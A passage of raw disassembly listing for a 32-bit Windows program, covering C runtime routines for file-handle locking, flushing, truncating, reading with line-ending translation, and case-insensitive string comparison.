call sub_40F7B1 mov [eax], esi call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 9 call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419E72: ; CODE XREF: sub_419E05+47j mov eax, [eax] pop esi retn sub_419E05 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E76 proc near ; CODE XREF: sub_4149D5+7Fp ; sub_414CF9+7Fp ... var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_41FDF8 call __SEH_prolog4 mov edi, [ebp+arg_0] mov eax, edi sar eax, 5 mov esi, edi and esi, 1Fh imul esi, 28h add esi, dword_424EE0[eax*4] mov [ebp+var_1C], 1 xor ebx, ebx cmp [esi+8], ebx jnz short loc_419EDD push 0Ah call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], ebx cmp [esi+8], ebx jnz short loc_419ED1 push 0FA0h lea eax, [esi+0Ch] push eax call sub_4182CC pop ecx pop ecx test eax, eax jnz short loc_419ECE mov [ebp+var_1C], ebx loc_419ECE: ; CODE XREF: sub_419E76+53j inc dword ptr [esi+8] loc_419ED1: ; CODE XREF: sub_419E76+3Fj mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_419F0D loc_419EDD: ; CODE XREF: sub_419E76+2Fj cmp [ebp+var_1C], ebx jz short loc_419EFF mov eax, edi sar eax, 5 and edi, 1Fh imul edi, 28h mov eax, dword_424EE0[eax*4] lea eax, [eax+edi+0Ch] push eax call dword_41C070 ; RtlEnterCriticalSection loc_419EFF: ; CODE XREF: sub_419E76+6Aj mov eax, [ebp+var_1C] call __SEH_epilog4 retn sub_419E76 endp ; =============== S U B R O U T I N E ======================================= sub_419F08 proc near ; DATA XREF: .vty:0041FE10o xor ebx, ebx mov edi, [ebp+8] sub_419F08 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_419F0D proc near ; CODE XREF: sub_419E76+62p push 0Ah call sub_416CCE pop ecx retn sub_419F0D endp ; =============== S U B R O U T I N E ======================================= sub_419F16 proc near ; CODE XREF: sub_414AA7+3p ; sub_414DBC+3p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, eax and eax, 1Fh imul eax, 28h sar ecx, 5 mov ecx, dword_424EE0[ecx*4] lea eax, [ecx+eax+0Ch] push eax call dword_41C06C ; RtlLeaveCriticalSection retn sub_419F16 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419F38 proc near ; CODE XREF: sub_418D2B:loc_418F21p var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h ; FUNCTION CHUNK AT 0041A014 SIZE 000000BA BYTES push 18h push offset dword_41FE18 call __SEH_prolog4 or [ebp+var_1C], 0FFFFFFFFh xor edi, edi mov [ebp+var_24], edi push 0Bh call sub_416CE3 pop ecx test eax, eax jnz short loc_419F61 or eax, 0FFFFFFFFh jmp loc_41A0C8 ; --------------------------------------------------------------------------- loc_419F61: ; CODE XREF: sub_419F38+1Fj push 0Bh call sub_416DA6 pop ecx mov [ebp+ms_exc.disabled], edi loc_419F6C: ; CODE XREF: sub_419F38+109j mov [ebp+var_28], edi cmp edi, 40h jge loc_41A0B9 mov esi, dword_424EE0[edi*4] test esi, esi jz loc_41A046 loc_419F87: ; CODE XREF: sub_419F38+CBj mov [ebp+var_20], esi mov eax, dword_424EE0[edi*4] add eax, 500h cmp esi, eax jnb loc_41A03A test byte ptr [esi+4], 1 jnz short loc_41A000 cmp dword ptr [esi+8], 0 jnz short loc_419FE3 push 0Ah call sub_416DA6 pop ecx xor ebx, ebx inc ebx mov [ebp+ms_exc.disabled], ebx cmp dword ptr [esi+8], 0 jnz short loc_419FDA push 0FA0h lea eax, [esi+0Ch] push eax call sub_4182CC pop ecx pop ecx test eax, eax jnz short loc_419FD7 mov [ebp+var_24], ebx jmp short loc_419FDA ; --------------------------------------------------------------------------- loc_419FD7: ; CODE XREF: sub_419F38+98j inc dword ptr [esi+8] loc_419FDA: ; CODE XREF: sub_419F38+84j ; sub_419F38+9Dj and [ebp+ms_exc.disabled], 0 call sub_41A00B loc_419FE3: ; CODE XREF: sub_419F38+70j cmp [ebp+var_24], 0 jnz short loc_41A000 lea ebx, [esi+0Ch] push ebx call dword_41C070 ; RtlEnterCriticalSection test byte ptr [esi+4], 1 jz short loc_41A014 push ebx call dword_41C06C ; RtlLeaveCriticalSection loc_41A000: ; CODE XREF: sub_419F38+6Aj ; sub_419F38+AFj ... add esi, 28h jmp short loc_419F87 sub_419F38 endp ; =============== S U B R O U T I N E ======================================= sub_41A005 proc near ; DATA XREF: .vty:0041FE3Co mov edi, [ebp-28h] mov esi, [ebp-20h] sub_41A005 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_41A00B proc near ; CODE XREF: sub_419F38+A6p push 0Ah call sub_416CCE pop ecx retn sub_41A00B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_419F38 loc_41A014: ; CODE XREF: sub_419F38+BFj cmp [ebp+var_24], 0 jnz short loc_41A000 mov byte ptr [esi+4], 1 or dword ptr [esi], 0FFFFFFFFh mov eax, esi sub eax, dword_424EE0[edi*4] cdq push 28h pop ecx idiv ecx mov ecx, edi shl ecx, 5 add eax, ecx mov [ebp+var_1C], eax loc_41A03A: ; CODE XREF: sub_419F38+60j cmp [ebp+var_1C], 0FFFFFFFFh jnz short loc_41A0B9 inc edi jmp loc_419F6C ; --------------------------------------------------------------------------- loc_41A046: ; CODE XREF: sub_419F38+49j push 28h push 20h call sub_412363 pop ecx pop ecx mov [ebp+var_20], eax test eax, eax jz short loc_41A0B9 lea ecx, ds:424EE0h[edi*4] mov [ecx], eax add dword_424EC8, 20h loc_41A068: ; CODE XREF: sub_419F38+151j mov edx, [ecx] add edx, 500h cmp eax, edx jnb short loc_41A08B mov byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah and dword ptr [eax+8], 0 add eax, 28h mov [ebp+var_20], eax jmp short loc_41A068 ; --------------------------------------------------------------------------- loc_41A08B: ; CODE XREF: sub_419F38+13Aj shl edi, 5 mov [ebp+var_1C], edi mov eax, edi sar eax, 5 mov ecx, edi and ecx, 1Fh imul ecx, 28h mov eax, dword_424EE0[eax*4] mov byte ptr [eax+ecx+4], 1 push edi call sub_419E76 pop ecx test eax, eax jnz short loc_41A0B9 or [ebp+var_1C], 0FFFFFFFFh loc_41A0B9: ; CODE XREF: sub_419F38+3Aj ; sub_419F38+106j ... mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41A0CE mov eax, [ebp+var_1C] loc_41A0C8: ; CODE XREF: sub_419F38+24j call __SEH_epilog4 retn ; END OF FUNCTION CHUNK FOR sub_419F38 ; =============== S U B R O U T I N E ======================================= sub_41A0CE proc near ; CODE XREF: sub_419F38+188p ; DATA XREF: .vty:0041FE30o push 0Bh call sub_416CCE pop ecx retn sub_41A0CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A0D7 proc near ; CODE XREF: sub_414B40+31p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 10h push offset dword_41FE40 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_41A0FE call sub_40F79E mov dword ptr [eax], 9 loc_41A0F6: ; CODE XREF: sub_41A0D7+4Dj or eax, 0FFFFFFFFh jmp loc_41A1A8 ; --------------------------------------------------------------------------- loc_41A0FE: ; CODE XREF: sub_41A0D7+12j xor ebx, ebx cmp eax, ebx jl short loc_41A10C cmp eax, dword_424EC8 jb short loc_41A126 loc_41A10C: ; CODE XREF: sub_41A0D7+2Bj ; sub_41A0D7+6Dj call sub_40F79E mov dword ptr [eax], 9 push ebx push ebx push ebx push ebx push ebx call sub_40DCD8 add esp, 14h jmp short loc_41A0F6 ; --------------------------------------------------------------------------- loc_41A126: ; CODE XREF: sub_41A0D7+33j mov ecx, eax sar ecx, 5 lea edi, ds:424EE0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [edi] movzx ecx, byte ptr [esi+ecx+4] and ecx, 1 jz short loc_41A10C push eax call sub_419E76 pop ecx mov [ebp+ms_exc.disabled], ebx mov eax, [edi] test byte ptr [esi+eax+4], 1 jz short loc_41A18A push [ebp+arg_0] call sub_419E05 pop ecx push eax call dword_41C0F4 ; FlushFileBuffers test eax, eax jnz short loc_41A178 call dword_41C0A4 ; RtlGetLastWin32Error mov [ebp+var_1C], eax jmp short loc_41A17B ; --------------------------------------------------------------------------- loc_41A178: ; CODE XREF: sub_41A0D7+94j mov [ebp+var_1C], ebx loc_41A17B: ; CODE XREF: sub_41A0D7+9Fj cmp [ebp+var_1C], ebx jz short loc_41A199 call sub_40F7B1 mov ecx, [ebp+var_1C] mov [eax], ecx loc_41A18A: ; CODE XREF: sub_41A0D7+80j call sub_40F79E mov dword ptr [eax], 9 or [ebp+var_1C], 0FFFFFFFFh loc_41A199: ; CODE XREF: sub_41A0D7+A7j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_41A1AE mov eax, [ebp+var_1C] loc_41A1A8: ; CODE XREF: sub_41A0D7+22j call __SEH_epilog4 retn sub_41A0D7 endp ; =============== S U B R O U T I N E ======================================= sub_41A1AE proc near ; CODE XREF: sub_41A0D7+C9p ; DATA XREF: .vty:0041FE58o push dword ptr [ebp+8] call sub_419F16 pop ecx retn sub_41A1AE endp ; --------------------------------------------------------------------------- align 10h mov eax, [esp+8] mov ecx, [esp+10h] or ecx, eax mov ecx, [esp+0Ch] jnz short loc_41A1D9 mov eax, [esp+4] mul ecx retn 10h ; --------------------------------------------------------------------------- loc_41A1D9: ; CODE XREF: .vty:0041A1CEj push ebx mul ecx mov ebx, eax mov eax, [esp+8] mul dword ptr [esp+14h] add ebx, eax mov eax, [esp+8] mul ecx add edx, ebx pop ebx retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A1F4 proc near ; CODE XREF: sub_41A245+Ap var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 10h push [ebp+arg_0] lea ecx, [ebp+var_10] call sub_40F7E2 movzx eax, [ebp+arg_4] mov ecx, [ebp+var_C] mov dl, [ebp+arg_C] test [ecx+eax+1Dh], dl jnz short loc_41A233 cmp [ebp+arg_8], 0 jz short loc_41A22D mov ecx, [ebp+var_10] mov ecx, [ecx+0C8h] movzx eax, word ptr [ecx+eax*2] and eax, [ebp+arg_8] jmp short loc_41A22F ; --------------------------------------------------------------------------- loc_41A22D: ; CODE XREF: sub_41A1F4+25j xor eax, eax loc_41A22F: ; CODE XREF: sub_41A1F4+37j test eax, eax jz short loc_41A236 loc_41A233: ; CODE XREF: sub_41A1F4+1Fj xor eax, eax inc eax loc_41A236: ; CODE XREF: sub_41A1F4+3Dj cmp [ebp+var_4], 0 jz short locret_41A243 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh locret_41A243: ; CODE XREF: sub_41A1F4+46j leave retn sub_41A1F4 endp ; =============== S U B R O U T I N E ======================================= sub_41A245 proc near ; CODE XREF: sub_41547E+3Fp ; sub_4155B6+53p ... arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] push 0 call sub_41A1F4 add esp, 10h retn sub_41A245 endp ; =============== S U B R O U T I N E ======================================= sub_41A258 proc near ; CODE XREF: sub_415D0D+56p ; sub_416288+59p ... arg_0 = dword ptr 4 xor eax, eax inc eax cmp [esp+arg_0], 0 jnz short locret_41A264 xor eax, eax locret_41A264: ; CODE XREF: sub_41A258+8j retn sub_41A258 endp ; =============== S U B R O U T I N E ======================================= sub_41A265 proc near ; DATA XREF: .vty:off_423DF8o ; .vty:00423DFCo ... push 2 call sub_412499 pop ecx retn sub_41A265 endp ; =============== S U B R O U T I N E ======================================= sub_41A26E proc near ; CODE XREF: sub_41A2A3+86p ; sub_41A376+39j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] push edi loc_41A278: ; CODE XREF: sub_41A26E+2Ej movzx eax, byte ptr [esi] lea ecx, [eax-41h] inc esi cmp ecx, 19h ja short loc_41A287 add eax, 20h loc_41A287: ; CODE XREF: sub_41A26E+14j movzx ecx, byte ptr [edx] lea edi, [ecx-41h] inc edx cmp edi, 19h ja short loc_41A296 add ecx, 20h loc_41A296: ; CODE XREF: sub_41A26E+23j test eax, eax jz short loc_41A29E cmp eax, ecx jz short loc_41A278 loc_41A29E: ; CODE XREF: sub_41A26E+2Aj pop edi sub eax, ecx pop esi retn sub_41A26E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A2A3 proc near ; CODE XREF: sub_419453+8Fp ; sub_41A376+45p var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push [ebp+arg_8] lea ecx, [ebp+var_10] call sub_40F7E2 xor ebx, ebx cmp [ebp+arg_0], ebx jnz short loc_41A2EA call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_4], bl jz short loc_41A2E0 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41A2E0: ; CODE XREF: sub_41A2A3+34j mov eax, 7FFFFFFFh jmp loc_41A373 ; --------------------------------------------------------------------------- loc_41A2EA: ; CODE XREF: sub_41A2A3+17j push edi mov edi, [ebp+arg_4] cmp edi, ebx jnz short loc_41A31D call sub_40F79E push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h cmp [ebp+var_4], bl jz short loc_41A316 mov eax, [ebp+var_8] and dword ptr [eax+70h], 0FFFFFFFDh loc_41A316: ; CODE XREF: sub_41A2A3+6Aj mov eax, 7FFFFFFFh jmp short loc_41A372 ; --------------------------------------------------------------------------- loc_41A31D: ; CODE XREF: sub_41A2A3+4Dj mov eax, [ebp+var_10] cmp [eax+14h], ebx jnz short loc_41A332 push edi push [ebp+arg_0] call sub_41A26E pop ecx pop ecx jmp short loc_41A366 ; --------------------------------------------------------------------------- loc_41A332: ; CODE XREF: sub_41A2A3+80j push esi loc_41A333: ; CODE XREF: sub_41A2A3+BCj mov eax, [ebp+arg_0] movzx eax, byte ptr [eax] lea ecx, [ebp+var_10] push ecx push eax call sub_40F864 inc [ebp+arg_0] mov esi, eax movzx eax, byte ptr [edi] lea ecx, [ebp+var_10] push ecx push eax call sub_40F864 add esp, 10h inc edi cmp esi, ebx jz short loc_41A361 cmp esi, eax jz short loc_41A333 loc_41A361: ; CODE XREF: sub_41A2A3+B8j sub esi, eax mov eax, esi pop esi loc_41A366: ; CODE XREF: sub_41A2A3+8Dj cmp [ebp+var_4], bl jz short loc_41A372 mov ecx, [ebp+var_8] and dword ptr [ecx+70h], 0FFFFFFFDh loc_41A372: ; CODE XREF: sub_41A2A3+78j ; sub_41A2A3+C6j pop edi loc_41A373: ; CODE XREF: sub_41A2A3+42j pop ebx leave retn sub_41A2A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A376 proc near ; CODE XREF: sub_4047AC+FDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi xor esi, esi cmp dword_424424, esi jnz short loc_41A3B4 cmp [ebp+arg_0], esi jnz short loc_41A3A8 loc_41A389: ; CODE XREF: sub_41A376+35j call sub_40F79E push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40DCD8 add esp, 14h mov eax, 7FFFFFFFh jmp short loc_41A3C3 ; --------------------------------------------------------------------------- loc_41A3A8: ; CODE XREF: sub_41A376+11j cmp [ebp+arg_4], esi jz short loc_41A389 pop esi pop ebp jmp sub_41A26E ; --------------------------------------------------------------------------- loc_41A3B4: ; CODE XREF: sub_41A376+Cj push esi push [ebp+arg_4] push [ebp+arg_0] call sub_41A2A3 add esp, 0Ch loc_41A3C3: ; CODE XREF: sub_41A376+30j pop esi pop ebp retn sub_41A376 endp ; --------------------------------------------------------------------------- align 10h ; START OF FUNCTION CHUNK FOR sub_418C60 loc_41A3D0: ; CODE XREF: sub_418C60+11j ; .vty:00418C87j push ecx lea ecx, [esp+4] sub ecx, eax sbb eax, eax not eax and ecx, eax mov eax, esp and eax, 0FFFFF000h loc_41A3E4: ; CODE XREF: sub_418C60+1799j cmp ecx, eax jb short loc_41A3F2 mov eax, ecx pop ecx xchg eax, esp mov eax, [eax] mov [esp+0], eax retn ; --------------------------------------------------------------------------- loc_41A3F2: ; CODE XREF: sub_418C60+1786j sub eax, 1000h test [eax], eax jmp short loc_41A3E4 ; END OF FUNCTION CHUNK FOR sub_418C60 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A3FB proc near ; CODE XREF: sub_418D2B+36Fp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi xor ebx, ebx push 1 push ebx push ebx push [ebp+arg_0] mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_4178D6 mov [ebp+var_18], eax and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh mov [ebp+var_14], edx jz short loc_41A481 push 2 push ebx push ebx push [ebp+arg_0] call sub_4178D6 mov ecx, eax and ecx, edx add esp, 10h cmp ecx, 0FFFFFFFFh jz short loc_41A481 mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] sub esi, eax sbb edi, edx js loc_41A516 jg short loc_41A45A cmp esi, ebx jbe loc_41A516 loc_41A45A: ; CODE XREF: sub_41A3FB+55j mov ebx, 1000h push ebx push 8 call dword_41C134 ; GetProcessHeap push eax call dword_41C130 ; RtlAllocateHeap test eax, eax mov [ebp+var_4], eax jnz short loc_41A48D call sub_40F79E mov dword ptr [eax], 0Ch loc_41A481: ; CODE XREF: sub_41A3FB+2Bj ; sub_41A3FB+43j ... call sub_40F79E mov eax, [eax] loc_41A488: ; CODE XREF: sub_41A3FB+1AFj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A48D: ; CODE XREF: sub_41A3FB+79j push 8000h push [ebp+arg_0] call sub_41ABC3 pop ecx pop ecx mov [ebp+var_8], eax loc_41A49F: ; CODE XREF: sub_41A3FB+CFj ; sub_41A3FB+D3j test edi, edi jl short loc_41A4AD jg short loc_41A4A9 cmp esi, ebx jb short loc_41A4AD loc_41A4A9: ; CODE XREF: sub_41A3FB+A8j mov eax, ebx jmp short loc_41A4AF ; --------------------------------------------------------------------------- loc_41A4AD: ; CODE XREF: sub_41A3FB+A6j ; sub_41A3FB+ACj mov eax, esi loc_41A4AF: ; CODE XREF: sub_41A3FB+B0j push eax push [ebp+var_4] push [ebp+arg_0] call sub_41440F add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41A4F9 cdq sub esi, eax sbb edi, edx js short loc_41A4D0 jg short loc_41A49F test esi, esi ja short loc_41A49F loc_41A4D0: ; CODE XREF: sub_41A3FB+CDj mov esi, [ebp+var_10] loc_41A4D3: ; CODE XREF: sub_41A3FB+119j push [ebp+var_8] push [ebp+arg_0] call sub_41ABC3 pop ecx pop ecx push [ebp+var_4] push 0 call dword_41C134 ; GetProcessHeap push eax call dword_41C12C ; RtlFreeHeap xor ebx, ebx jmp loc_41A57F ; --------------------------------------------------------------------------- loc_41A4F9: ; CODE XREF: sub_41A3FB+C6j call sub_40F7B1 cmp dword ptr [eax], 5 jnz short loc_41A50E call sub_40F79E mov dword ptr [eax], 0Dh loc_41A50E: ; CODE XREF: sub_41A3FB+106j or esi, 0FFFFFFFFh mov [ebp+var_C], esi jmp short loc_41A4D3 ; --------------------------------------------------------------------------- loc_41A516: ; CODE XREF: sub_41A3FB+4Fj ; sub_41A3FB+59j cmp edi, ebx jg short loc_41A58B jl short loc_41A520 cmp esi, ebx jnb short loc_41A58B loc_41A520: ; CODE XREF: sub_41A3FB+11Fj push ebx push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call sub_4178D6 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_41A481 push [ebp+arg_0] call sub_419E05 pop ecx push eax call dword_41C0F8 ; SetEndOfFile neg eax sbb eax, eax neg eax dec eax cdq mov [ebp+var_10], eax and eax, edx cmp eax, 0FFFFFFFFh mov [ebp+var_C], edx jnz short loc_41A58B call sub_40F79E mov dword ptr [eax], 0Dh call sub_40F7B1 mov esi, eax call dword_41C0A4 ; RtlGetLastWin32Error mov [esi], eax mov esi, [ebp+var_10] loc_41A57F: ; CODE XREF: sub_41A3FB+F9j and esi, [ebp+var_C] cmp esi, 0FFFFFFFFh jz loc_41A481 loc_41A58B: ; CODE XREF: sub_41A3FB+11Dj ; sub_41A3FB+123j ... push ebx push [ebp+var_14] push [ebp+var_18] push [ebp+arg_0] call sub_4178D6 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz loc_41A481 xor eax, eax jmp loc_41A488 sub_41A3FB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A5AF proc near ; CODE XREF: sub_418D2B+355p ; sub_418D2B+4B8p var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = word ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1Ch mov edx, [ebp+arg_8] push esi mov esi, [ebp+arg_0] push 0FFFFFFFEh pop eax cmp esi, eax mov [ebp+var_14], eax mov [ebp+var_1C], edx jnz short loc_41A5E4 call sub_40F7B1 and dword ptr [eax], 0 call sub_40F79E mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_41AB4E ; --------------------------------------------------------------------------- loc_41A5E4: ; CODE XREF: sub_41A5AF+18j push edi xor edi, edi cmp esi, edi jl short loc_41A5F3 cmp esi, dword_424EC8 jb short loc_41A61A loc_41A5F3: ; CODE XREF: sub_41A5AF+3Aj call sub_40F7B1 mov [eax], edi call sub_40F79E push edi push edi push edi push edi push edi mov dword ptr [eax], 9 call sub_40DCD8 add esp, 14h or eax, 0FFFFFFFFh jmp loc_41AB4D ; --------------------------------------------------------------------------- loc_41A61A: ; CODE XREF: sub_41A5AF+42j mov eax, esi and esi, 1Fh imul esi, 28h sar eax, 5 push ebx lea ebx, ds:424EE0h[eax*4] mov eax, [ebx] add eax, esi mov cl, [eax+4] test cl, 1 jnz short loc_41A650 call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 9 jmp loc_41A797 ; --------------------------------------------------------------------------- loc_41A650: ; CODE XREF: sub_41A5AF+88j cmp edx, edi mov [ebp+var_10], edi jz loc_41AB4A test cl, 2 jnz loc_41AB4A mov ecx, [ebp+arg_4] cmp ecx, edi jz loc_41A785 mov al, [eax+24h] add al, al sar al, 1 mov [ebp+var_2], al movsx eax, al dec eax jz loc_41A77D dec eax jnz short loc_41A698 mov eax, edx not eax test al, 1 jz loc_41A785 and edx, 0FFFFFFFEh mov [ebp+arg_8], edx loc_41A698: ; CODE XREF: sub_41A5AF+D5j mov [ebp+var_C], ecx loc_41A69B: ; CODE XREF: sub_41A5AF+216j mov ecx, [ebx] mov eax, [ebp+var_C] lea edi, [esi+ecx] test byte ptr [edi+4], 48h jz short loc_41A71F mov cl, [edi+5] cmp cl, 0Ah jz short loc_41A71F xor edx, edx cmp [ebp+arg_8], edx jz short loc_41A71F mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] cmp [ebp+var_2], dl mov [ebp+var_10], 1 mov byte ptr [esi+ecx+5], 0Ah jz short loc_41A71F mov ecx, [ebx] mov cl, [esi+ecx+25h] cmp cl, 0Ah jz short loc_41A71F cmp [ebp+arg_8], edx jz short loc_41A71F mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] cmp [ebp+var_2], 1 mov [ebp+var_10], 2 mov byte ptr [esi+ecx+25h], 0Ah jnz short loc_41A71F mov ecx, [ebx] mov cl, [esi+ecx+26h] cmp cl, 0Ah jz short loc_41A71F cmp [ebp+arg_8], edx jz short loc_41A71F mov [eax], cl mov ecx, [ebx] inc eax dec [ebp+arg_8] mov [ebp+var_10], 3 mov byte ptr [esi+ecx+26h], 0Ah loc_41A71F: ; CODE XREF: sub_41A5AF+F8j ; sub_41A5AF+100j ... push 0 lea ecx, [ebp+var_18] push ecx push [ebp+arg_8] push eax mov eax, [ebx] push dword ptr [esi+eax] call dword_41C0FC ; ReadFile test eax, eax jz loc_41AB14 mov edi, [ebp+var_18] test edi, edi jl loc_41AB14 cmp edi, [ebp+arg_8] ja loc_41AB14 mov eax, [ebx] add [ebp+var_10], edi lea eax, [esi+eax+4] test byte ptr [eax], 80h jz loc_41A9B4 cmp [ebp+var_2], 2 jz loc_41A9DE test edi, edi jz short loc_41A7E9 mov ecx, [ebp+var_C] cmp byte ptr [ecx], 0Ah jnz short loc_41A7E9 or byte ptr [eax], 4 jmp short loc_41A7EC ; --------------------------------------------------------------------------- loc_41A77D: ; CODE XREF: sub_41A5AF+CEj mov eax, edx not eax test al, 1 jnz short loc_41A7A6 loc_41A785: ; CODE XREF: sub_41A5AF+BAj ; sub_41A5AF+DDj call sub_40F7B1 mov [eax], edi call sub_40F79E mov dword ptr [eax], 16h loc_41A797: ; CODE XREF: sub_41A5AF+9Cj push edi push edi push edi push edi push edi call sub_40DCD8 add esp, 14h jmp short loc_41A7E1 ; --------------------------------------------------------------------------- loc_41A7A6: ; CODE XREF: sub_41A5AF+1D4j mov eax, edx push 4 pop ecx shr eax, 1 cmp eax, ecx mov [ebp+arg_8], ecx jb short loc_41A7B7 mov [ebp+arg_8], eax loc_41A7B7: ; CODE XREF: sub_41A5AF+203j push [ebp+arg_8] call sub_412323 cmp eax, edi pop ecx mov [ebp+var_C], eax jnz loc_41A69B call sub_40F79E mov dword ptr [eax], 0Ch call sub_40F7B1 mov dword ptr [eax], 8 loc_41A7E1: ; CODE XREF: sub_41A5AF+1F5j or eax, 0FFFFFFFFh jmp loc_41AB4C ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A5AF+1BFj ; sub_41A5AF+1C7j and byte ptr [eax], 0FBh loc_41A7EC: ; CODE XREF: sub_41A5AF+1CCj mov edi, [ebp+var_C] mov eax, [ebp+var_10] add eax, edi cmp edi, eax mov [ebp+arg_8], edi mov [ebp+var_10], eax jnb loc_41A8D2 loc_41A802: ; CODE XREF: sub_41A5AF+306j mov ecx, [ebp+arg_8] mov al, [ecx] cmp al, 1Ah jz loc_41A8BD cmp al, 0Dh jz short loc_41A81F mov [edi], al inc edi inc ecx mov [ebp+arg_8], ecx jmp loc_41A8AF ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A5AF+262j mov eax, [ebp+var_10] dec eax cmp ecx, eax jnb short loc_41A83E lea eax, [ecx+1] cmp byte ptr [eax], 0Ah jnz short loc_41A839 inc ecx inc ecx mov [ebp+arg_8], ecx loc_41A834: ; CODE XREF: sub_41A5AF+2CAj ; sub_41A5AF+2E3j mov byte ptr [edi], 0Ah jmp short loc_41A8AE ; --------------------------------------------------------------------------- loc_41A839: ; CODE XREF: sub_41A5AF+27Ej mov [ebp+arg_8], eax jmp short loc_41A8AB ; --------------------------------------------------------------------------- loc_41A83E: ; CODE XREF: sub_41A5AF+276j inc [ebp+arg_8] push 0 lea eax, [ebp+var_18] push eax push 1 lea eax, [ebp+var_1] push eax mov eax, [ebx] push dword ptr [esi+eax] call dword_41C0FC ; ReadFile test eax, eax jnz short loc_41A866 call dword_41C0A4 ; RtlGetLastWin32Error test eax, eax jnz short loc_41A8AB loc_41A866: ; CODE XREF: sub_41A5AF+2ABj cmp [ebp+var_18], 0 jz short loc_41A8AB mov eax, [ebx] test byte ptr [esi+eax+4], 48h jz short loc_41A889 cmp [ebp+var_1], 0Ah jz short loc_41A834 mov byte ptr [edi], 0Dh mov eax, [ebx] mov cl, [ebp+var_1] mov [esi+eax+5], cl jmp short loc_41A8AE ; --------------------------------------------------------------------------- loc_41A889: ; CODE XREF: sub_41A5AF+2C4j cmp edi, [ebp+var_C] jnz short loc_41A894 cmp [ebp+var_1], 0Ah jz short loc_41A834 loc_41A894: ; CODE XREF: sub_41A5AF+2DDj push 1 push 0FFFFFFFFh push 0FFFFFFFFh push [ebp+arg_0] call sub_4178D6 add esp, 10h cmp [ebp+var_1], 0Ah jz short loc_41A8AF loc_41A8AB: ; CODE XREF: sub_41A5AF+28Dj ; sub_41A5AF+2B5j ... mov byte ptr [edi], 0Dh loc_41A8AE: ; CODE XREF: sub_41A5AF+288j ; sub_41A5AF+2D8j inc edi loc_41A8AF: ; CODE XREF: sub_41A5AF+26Bj ; sub_41A5AF+2FAj mov eax, [ebp+var_10] cmp [ebp+arg_8], eax jb loc_41A802 jmp short loc_41A8D2 ; --------------------------------------------------------------------------- loc_41A8BD: ; CODE XREF: 